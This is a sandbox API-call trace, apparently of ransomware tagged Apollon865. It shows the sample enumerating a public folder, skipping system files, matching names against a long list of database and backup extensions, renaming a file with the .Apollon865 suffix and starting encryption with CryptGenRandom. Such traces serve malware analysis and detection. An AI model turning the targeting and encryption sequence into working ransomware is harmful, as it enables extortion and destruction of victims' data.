	[0044.150] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.150] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2db4b230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db4b230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.150] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.150] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.150] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.150] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.150] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0044.150] lstrlenW (lpString="desktop.ini") returned 11
	[0044.150] lstrlenW (lpString="C:\\Users\\Public\\Music\\*") returned 23
	[0044.150] lstrcpyW (in: lpString1=0x119e634, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0044.150] lstrlenW (lpString="desktop.ini") returned 11
	[0044.150] lstrlenW (lpString="Apollon865") returned 10
	[0044.150] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0044.150] lstrlenW (lpString=".dll") returned 4
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0044.150] lstrlenW (lpString=".lnk") returned 4
	[0044.150] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0044.151] lstrlenW (lpString=".ini") returned 4
	[0044.151] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0044.151] lstrlenW (lpString=".sys") returned 4
	[0044.151] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0044.151] lstrlenW (lpString="desktop.ini") returned 11
	[0044.151] lstrlenW (lpString="bak") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0044.151] lstrlenW (lpString="ba_") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0044.151] lstrlenW (lpString="dbb") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0044.151] lstrlenW (lpString="vmdk") returned 4
	[0044.151] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0044.151] lstrlenW (lpString="rar") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0044.151] lstrlenW (lpString="zip") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0044.151] lstrlenW (lpString="tgz") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0044.151] lstrlenW (lpString="vbox") returned 4
	[0044.151] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0044.151] lstrlenW (lpString="vdi") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0044.151] lstrlenW (lpString="vhd") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0044.151] lstrlenW (lpString="vhdx") returned 4
	[0044.151] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0044.151] lstrlenW (lpString="avhd") returned 4
	[0044.151] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0044.151] lstrlenW (lpString="db") returned 2
	[0044.151] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0044.151] lstrlenW (lpString="db2") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0044.151] lstrlenW (lpString="db3") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0044.151] lstrlenW (lpString="dbf") returned 3
	[0044.151] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0044.152] lstrlenW (lpString="mdf") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0044.152] lstrlenW (lpString="mdb") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0044.152] lstrlenW (lpString="sql") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0044.152] lstrlenW (lpString="sqlite") returned 6
	[0044.152] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0044.152] lstrlenW (lpString="sqlite3") returned 7
	[0044.152] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0044.152] lstrlenW (lpString="sqlitedb") returned 8
	[0044.152] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0044.152] lstrlenW (lpString="xml") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0044.152] lstrlenW (lpString="$er") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0044.152] lstrlenW (lpString="4dd") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0044.152] lstrlenW (lpString="4dl") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0044.152] lstrlenW (lpString="^^^") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0044.152] lstrlenW (lpString="abs") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0044.152] lstrlenW (lpString="abx") returned 3
	[0044.152] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0044.152] lstrlenW (lpString="accdb") returned 5
	[0044.152] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0044.152] lstrlenW (lpString="accdc") returned 5
	[0044.152] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0044.152] lstrlenW (lpString="accde") returned 5
	[0044.152] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0044.152] lstrlenW (lpString="accdr") returned 5
	[0044.152] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0044.152] lstrlenW (lpString="accdt") returned 5
	[0044.152] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0044.152] lstrlenW (lpString="accdw") returned 5
	[0044.153] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0044.153] lstrlenW (lpString="accft") returned 5
	[0044.153] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0044.153] lstrlenW (lpString="adb") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0044.153] lstrlenW (lpString="adb") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0044.153] lstrlenW (lpString="ade") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0044.153] lstrlenW (lpString="adf") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0044.153] lstrlenW (lpString="adn") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0044.153] lstrlenW (lpString="adp") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0044.153] lstrlenW (lpString="alf") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0044.153] lstrlenW (lpString="ask") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0044.153] lstrlenW (lpString="btr") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0044.153] lstrlenW (lpString="cat") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0044.153] lstrlenW (lpString="cdb") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0044.153] lstrlenW (lpString="ckp") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0044.153] lstrlenW (lpString="cma") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0044.153] lstrlenW (lpString="cpd") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0044.153] lstrlenW (lpString="dacpac") returned 6
	[0044.153] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0044.153] lstrlenW (lpString="dad") returned 3
	[0044.153] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0044.154] lstrlenW (lpString="dadiagrams") returned 10
	[0044.154] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0044.154] lstrlenW (lpString="daschema") returned 8
	[0044.154] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0044.154] lstrlenW (lpString="db-journal") returned 10
	[0044.154] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0044.154] lstrlenW (lpString="db-shm") returned 6
	[0044.154] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0044.154] lstrlenW (lpString="db-wal") returned 6
	[0044.154] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0044.154] lstrlenW (lpString="dbc") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0044.154] lstrlenW (lpString="dbs") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0044.154] lstrlenW (lpString="dbt") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0044.154] lstrlenW (lpString="dbv") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0044.154] lstrlenW (lpString="dbx") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0044.154] lstrlenW (lpString="dcb") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0044.154] lstrlenW (lpString="dct") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0044.154] lstrlenW (lpString="dcx") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0044.154] lstrlenW (lpString="ddl") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0044.154] lstrlenW (lpString="dlis") returned 4
	[0044.154] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0044.154] lstrlenW (lpString="dp1") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0044.154] lstrlenW (lpString="dqy") returned 3
	[0044.154] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0044.154] lstrlenW (lpString="dsk") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0044.155] lstrlenW (lpString="dsn") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0044.155] lstrlenW (lpString="dtsx") returned 4
	[0044.155] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0044.155] lstrlenW (lpString="dxl") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0044.155] lstrlenW (lpString="eco") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0044.155] lstrlenW (lpString="ecx") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0044.155] lstrlenW (lpString="edb") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0044.155] lstrlenW (lpString="epim") returned 4
	[0044.155] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0044.155] lstrlenW (lpString="fcd") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0044.155] lstrlenW (lpString="fdb") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0044.155] lstrlenW (lpString="fic") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0044.155] lstrlenW (lpString="flexolibrary") returned 12
	[0044.155] lstrlenW (lpString="fm5") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0044.155] lstrlenW (lpString="fmp") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0044.155] lstrlenW (lpString="fmp12") returned 5
	[0044.155] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0044.155] lstrlenW (lpString="fmpsl") returned 5
	[0044.155] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0044.155] lstrlenW (lpString="fol") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0044.155] lstrlenW (lpString="fp3") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0044.155] lstrlenW (lpString="fp4") returned 3
	[0044.155] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0044.156] lstrlenW (lpString="fp5") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0044.156] lstrlenW (lpString="fp7") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0044.156] lstrlenW (lpString="fpt") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0044.156] lstrlenW (lpString="frm") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0044.156] lstrlenW (lpString="gdb") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0044.156] lstrlenW (lpString="gdb") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0044.156] lstrlenW (lpString="grdb") returned 4
	[0044.156] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0044.156] lstrlenW (lpString="gwi") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0044.156] lstrlenW (lpString="hdb") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0044.156] lstrlenW (lpString="his") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0044.156] lstrlenW (lpString="ib") returned 2
	[0044.156] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0044.156] lstrlenW (lpString="idb") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0044.156] lstrlenW (lpString="ihx") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0044.156] lstrlenW (lpString="itdb") returned 4
	[0044.156] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0044.156] lstrlenW (lpString="itw") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0044.156] lstrlenW (lpString="jet") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0044.156] lstrlenW (lpString="jtx") returned 3
	[0044.156] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0044.156] lstrlenW (lpString="kdb") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0044.157] lstrlenW (lpString="kexi") returned 4
	[0044.157] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0044.157] lstrlenW (lpString="kexic") returned 5
	[0044.157] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0044.157] lstrlenW (lpString="kexis") returned 5
	[0044.157] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0044.157] lstrlenW (lpString="lgc") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0044.157] lstrlenW (lpString="lwx") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0044.157] lstrlenW (lpString="maf") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0044.157] lstrlenW (lpString="maq") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0044.157] lstrlenW (lpString="mar") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0044.157] lstrlenW (lpString="marshal") returned 7
	[0044.157] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0044.157] lstrlenW (lpString="mas") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0044.157] lstrlenW (lpString="mav") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0044.157] lstrlenW (lpString="maw") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0044.157] lstrlenW (lpString="mdbhtml") returned 7
	[0044.157] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0044.157] lstrlenW (lpString="mdn") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0044.157] lstrlenW (lpString="mdt") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0044.157] lstrlenW (lpString="mfd") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0044.157] lstrlenW (lpString="mpd") returned 3
	[0044.157] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0044.158] lstrlenW (lpString="mrg") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0044.158] lstrlenW (lpString="mud") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0044.158] lstrlenW (lpString="mwb") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0044.158] lstrlenW (lpString="myd") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0044.158] lstrlenW (lpString="ndf") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0044.158] lstrlenW (lpString="nnt") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0044.158] lstrlenW (lpString="nrmlib") returned 6
	[0044.158] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0044.158] lstrlenW (lpString="ns2") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0044.158] lstrlenW (lpString="ns3") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0044.158] lstrlenW (lpString="ns4") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0044.158] lstrlenW (lpString="nsf") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0044.158] lstrlenW (lpString="nv") returned 2
	[0044.158] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0044.158] lstrlenW (lpString="nv2") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0044.158] lstrlenW (lpString="nwdb") returned 4
	[0044.158] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0044.158] lstrlenW (lpString="nyf") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0044.158] lstrlenW (lpString="odb") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0044.158] lstrlenW (lpString="odb") returned 3
	[0044.158] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0044.158] lstrlenW (lpString="oqy") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0044.159] lstrlenW (lpString="ora") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0044.159] lstrlenW (lpString="orx") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0044.159] lstrlenW (lpString="owc") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0044.159] lstrlenW (lpString="p96") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0044.159] lstrlenW (lpString="p97") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0044.159] lstrlenW (lpString="pan") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0044.159] lstrlenW (lpString="pdb") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0044.159] lstrlenW (lpString="pdm") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0044.159] lstrlenW (lpString="pnz") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0044.159] lstrlenW (lpString="qry") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0044.159] lstrlenW (lpString="qvd") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0044.159] lstrlenW (lpString="rbf") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0044.159] lstrlenW (lpString="rctd") returned 4
	[0044.159] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0044.159] lstrlenW (lpString="rod") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0044.159] lstrlenW (lpString="rodx") returned 4
	[0044.159] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0044.159] lstrlenW (lpString="rpd") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0044.159] lstrlenW (lpString="rsd") returned 3
	[0044.159] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0044.159] lstrlenW (lpString="sas7bdat") returned 8
	[0044.160] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0044.160] lstrlenW (lpString="sbf") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0044.160] lstrlenW (lpString="scx") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0044.160] lstrlenW (lpString="sdb") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0044.160] lstrlenW (lpString="sdc") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0044.160] lstrlenW (lpString="sdf") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0044.160] lstrlenW (lpString="sis") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0044.160] lstrlenW (lpString="spq") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0044.160] lstrlenW (lpString="te") returned 2
	[0044.160] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0044.160] lstrlenW (lpString="teacher") returned 7
	[0044.160] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0044.160] lstrlenW (lpString="tmd") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0044.160] lstrlenW (lpString="tps") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0044.160] lstrlenW (lpString="trc") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0044.160] lstrlenW (lpString="trc") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0044.160] lstrlenW (lpString="trm") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0044.160] lstrlenW (lpString="udb") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0044.160] lstrlenW (lpString="udl") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0044.160] lstrlenW (lpString="usr") returned 3
	[0044.160] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0044.161] lstrlenW (lpString="v12") returned 3
	[0044.161] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0044.161] lstrlenW (lpString="vis") returned 3
	[0044.161] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0044.161] lstrlenW (lpString="vpd") returned 3
	[0044.161] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0044.161] lstrlenW (lpString="vvv") returned 3
	[0044.161] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0044.161] lstrlenW (lpString="wdb") returned 3
	[0044.161] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0044.161] lstrlenW (lpString="wmdb") returned 4
	[0044.161] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0044.161] lstrlenW (lpString="wrk") returned 3
	[0044.161] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0044.161] lstrlenW (lpString="xdb") returned 3
	[0044.161] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0044.161] lstrlenW (lpString="xld") returned 3
	[0044.161] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0044.161] lstrlenW (lpString="xmlff") returned 5
	[0044.161] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0044.161] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Music\\desktop.ini.Apollon865") returned 44
	[0044.161] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Music\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\music\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0044.162] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\music\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0044.162] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=380) returned 1
	[0044.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0044.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0044.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0044.162] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0044.163] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0044.163] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0044.163] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x14c
